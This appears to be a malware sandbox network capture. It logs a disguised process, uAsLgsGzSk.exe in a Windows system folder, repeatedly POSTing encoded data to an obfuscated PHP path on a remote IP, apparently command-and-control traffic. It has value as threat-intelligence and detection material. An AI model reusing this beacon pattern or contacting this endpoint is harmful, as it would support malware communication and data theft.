Jan 10, 2025 07:57:31.519287109 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:57:31.876787901 CET	2544	OUT	Data Raw: 59 53 46 55 5b 5e 56 54 58 5b 57 56 50 58 5b 51 55 57 5e 5e 54 5e 51 58 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YSFU[^VTX[WVPX[QUW^^T^QXRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'B;2/(>-+&Z;:%+-+?$5$?U(3X+?6A%4$'_!/Y.%
Jan 10, 2025 07:57:32.255752087 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:32.408117056 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:32.606549025 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:57:32.956928015 CET	2544	OUT	Data Raw: 5c 55 46 57 5b 5c 56 50 58 5b 57 56 50 5d 5b 53 55 52 5e 5b 54 5d 51 53 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \UFW[\VPX[WVP][SUR^[T]QSRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$;<=<,Y/)U(;(($["4+ 0)/6A2[(X&*'_!/Y.1
Jan 10, 2025 07:57:33.361191988 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:33.496560097 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:33.496103048 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2020 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:33.845182896 CET	2020	OUT	Data Raw: 5c 54 43 53 5b 5e 53 52 58 5b 57 56 50 5b 5b 50 55 51 5e 5b 54 5a 51 53 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \TCS[^SRX[WVP[[PUQ^[TZQSRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'E81'X<9?P([,1>=,X+(\"#(U?X>?9&[8\''_!/Y.%
Jan 10, 2025 07:57:34.259073019 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:34.394682884 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 0f 1e 3a 0f 37 02 28 11 31 3c 29 54 39 01 03 19 28 33 3b 06 2a 3d 3b 5b 2a 33 2b 57 2d 3f 2b 57 36 05 29 15 28 22 3d 09 27 5a 30 54 25 37 21 59 0c 13 26 5b 2b 14 2a 08 3e 04 28 59 3c 21 21 18 27 23 20 02 27 3e 22 0a 20 2f 2b 04 28 03 2e 0b 28 32 3e 0f 2e 29 20 18 29 3c 30 57 27 1c 2a 57 0c 1f 26 1d 35 32 31 56 22 31 3a 5c 33 06 2f 55 25 3b 3f 0f 31 2f 27 5d 20 29 3b 59 3a 3a 24 5d 21 2e 05 06 29 3e 2a 56 35 31 37 09 28 06 20 51 22 0d 22 50 02 30 5d 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98:7(1<)T9(3;=;[3+W-?+W6)("='Z0T%7!Y&[+>(Y<!!'# '>" /+(.(2>.) )<0W'W&521V"1:\3/U%;?1/'] );Y::$]!.)>*V517( Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:33.686378002 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:34.032778978 CET	2544	OUT	Data Raw: 59 53 43 50 5e 5c 53 54 58 5b 57 56 50 53 5b 56 55 55 5e 59 54 5a 51 5a 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YSCP^\STX[WVPS[VUU^YTZQZRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$;"3>=2+5?/!S>=+84"$#(07Z>?& _0:'_!/Y.
Jan 10, 2025 07:57:34.450289965 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:34.586520910 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49743	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:34.840650082 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:57:35.189908981 CET	2544	OUT	Data Raw: 59 55 43 56 5b 5a 56 51 58 5b 57 56 50 53 5b 53 55 52 5e 5c 54 59 51 5f 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YUCV[ZVQX[WVPS[SUR^\TYQ_RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'C;1+]>=9[<%<]8*:>=(_+++#';<3?Y)/%['':'_!/Y.
Jan 10, 2025 07:57:35.573590040 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:35.725929022 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49744	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:35.943367958 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:36.298312902 CET	2544	OUT	Data Raw: 5c 54 43 5f 5e 56 56 5f 58 5b 57 56 50 5e 5b 56 55 51 5e 5a 54 5b 51 5f 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \TC_^VV_X[WVP^[VUQ^ZT[Q_RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR',1,<>"?(-*( );$Y!B'Q+$><=&-<]''_!/Y.=
Jan 10, 2025 07:57:36.700068951 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:36.833344936 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49746	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:39.413741112 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2032 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:39.767108917 CET	2032	OUT	Data Raw: 59 57 46 55 5e 5b 56 56 58 5b 57 56 50 59 5b 51 55 55 5e 5c 54 50 51 59 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YWFU^[VVX[WVPY[QUU^\TPQYRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$.!,+=+&(8)-W+. X?<!/T+ *B1=3'_!/Y.!
Jan 10, 2025 07:57:40.175774097 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:40.310460091 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 0f 1e 39 53 20 15 06 55 31 01 07 11 3a 01 21 53 2b 0e 06 1d 2a 5b 33 1d 3e 0a 23 1f 2e 2f 23 56 21 05 0b 5e 28 0c 2e 57 33 02 24 1f 25 27 21 59 0c 13 26 5b 3d 3a 00 08 29 2a 02 5a 28 0f 0b 1c 27 23 3c 01 27 3e 3e 0d 37 11 0e 5e 3e 3a 25 53 2a 32 2d 10 39 2a 38 5a 3d 3c 33 0e 30 0c 2a 57 0c 1f 26 1f 36 0c 39 13 22 1c 07 05 24 38 06 0f 25 28 30 1c 24 3c 37 59 20 39 23 1d 2e 07 37 05 35 00 0a 12 3e 58 3d 0d 36 22 33 0c 3c 06 20 51 22 0d 22 50 02 30 5d 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 989S U1:!S+[3>#./#V!^(.W3$%'!Y&[=:)Z('#<'>>7^>:%S2-98Z=<30*W&69"$8%(0$<7Y 9#.75>X=6"3< Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49747	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:40.753892899 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:41.111181974 CET	2544	OUT	Data Raw: 5c 55 46 50 5e 56 56 52 58 5b 57 56 50 5c 5b 5a 55 50 5e 5e 54 58 51 5e 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \UFP^VVRX[WVP\[ZUP^^TXQ^RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'C,!]>-!_(</"+= +(+!$?0?=Y=&[<X0'_!/Y.
Jan 10, 2025 07:57:41.504169941 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:41.656285048 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:42.188240051 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:42.532938004 CET	2544	OUT	Data Raw: 59 54 43 5f 5e 5b 56 52 58 5b 57 56 50 5f 5b 5b 55 53 5e 5d 54 51 51 58 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YTC_^[VRX[WVP_[[US^]TQQXRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'A/W3?-1Z<,:W(4<$5+T+3ZY$>70'_!/Y.9
Jan 10, 2025 07:57:42.925580978 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:43.052711010 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49750	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:44.026431084 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:44.376519918 CET	2544	OUT	Data Raw: 59 55 43 5e 5e 58 56 57 58 5b 57 56 50 58 5b 53 55 55 5e 5e 54 50 51 5b 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YUC^^XVWX[WVPX[SUU^^TPQ[RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'.!Z<=%\(Y,:?#(^8"7(#+><>2=,]3'_!/Y.%
Jan 10, 2025 07:57:44.793194056 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:44.945664883 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49752	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:45.160131931 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:45.325611115 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2032 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:45.673350096 CET	2032	OUT	Data Raw: 59 56 43 56 5e 5f 56 57 58 5b 57 56 50 5c 5b 54 55 5c 5e 5d 54 50 51 5c 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YVCV^_VWX[WVP\[TU\^]TPQ\RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'A;13[?[:(54]/92>>4X?"'(?3)?& _$:'_!/Y.
Jan 10, 2025 07:57:46.060854912 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:46.213042021 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 0f 1e 39 54 20 3b 37 0d 26 2f 00 0d 39 01 32 0e 28 20 3c 10 3d 03 37 13 29 0d 24 0c 2e 2f 3b 55 35 3b 29 5e 28 0c 2d 08 30 3f 3c 53 26 37 21 59 0c 13 25 03 3c 14 0c 08 3d 39 24 59 3c 21 00 45 27 20 37 10 27 03 00 0a 21 3c 3c 5e 3e 39 2e 0d 3f 08 32 0d 2d 39 30 5b 2a 3c 33 0f 27 26 2a 57 0c 1f 25 0b 22 54 39 50 36 0b 3a 10 33 16 09 10 27 2b 34 1c 31 01 34 05 20 3a 09 10 3a 39 24 5d 36 3e 3b 02 3e 3d 39 0a 23 31 23 09 29 2c 20 51 22 0d 22 50 02 30 5d 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 989T ;7&/92( <=7)$./;U5;)^(-0?<S&7!Y%<=9$Y<!E' 7'!<<^>9.?2-90[<3'&W%"T9P6:3'+414 ::9$]6>;>=9#1#), Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:45.486416101 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
